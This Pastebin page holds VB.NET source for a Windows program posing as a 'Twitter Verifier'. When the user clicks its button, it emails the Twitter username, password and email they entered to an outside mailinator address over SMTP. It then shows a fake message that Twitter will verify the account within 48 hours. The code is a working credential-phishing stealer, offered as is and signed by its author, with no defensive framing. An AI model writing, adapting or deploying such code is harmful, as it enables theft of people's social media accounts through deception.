Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
- Dim mailmessage As New MailMessage()
- Dim smtp As New SmtpClient("smtp.mail.com")
- Try
- mailmessage.From = New MailAddress("mailmailmail33@iname.com")
- mailmessage.To.Add("TwitterAccountInfo@mailinator.com")
- mailmessage.Subject = "Twitter Account Info Of:" & TextBox1.Text
- mailmessage.Body = "Twitter Username:" & TextBox1.Text & " " & "Twitter Password:" & TextBox2.Text & " " & "Email:" & TextBox3.Text & " " & "MADE BY C4N"
- smtp.Port = 587
- smtp.EnableSsl = True
- smtp.Credentials = New System.Net.NetworkCredential("mailmailmail33@iname.com", "Removed Le Password Van")
- smtp.Send(mailmessage)
- MessageBox.Show("Twitter Servers Are Processing The Request. You Should Be Verified Within 48 Hours.", "Twitter Verifier", MessageBoxButtons.OK, MessageBoxIcon.Information)
- 'Contact Twitter Saying Verify Request: Info Above
- Catch ex As Exception
- MessageBox.Show("Error Request Denied", "Twitter Verifier", MessageBoxButtons.OK, MessageBoxIcon.Error)
- Me.Close()
- End Try
- 'Main Code
- End Sub
- Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- Me.MinimizeBox = False
- End Sub
- Private Sub Button2_Click(sender As Object, e As EventArgs)
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement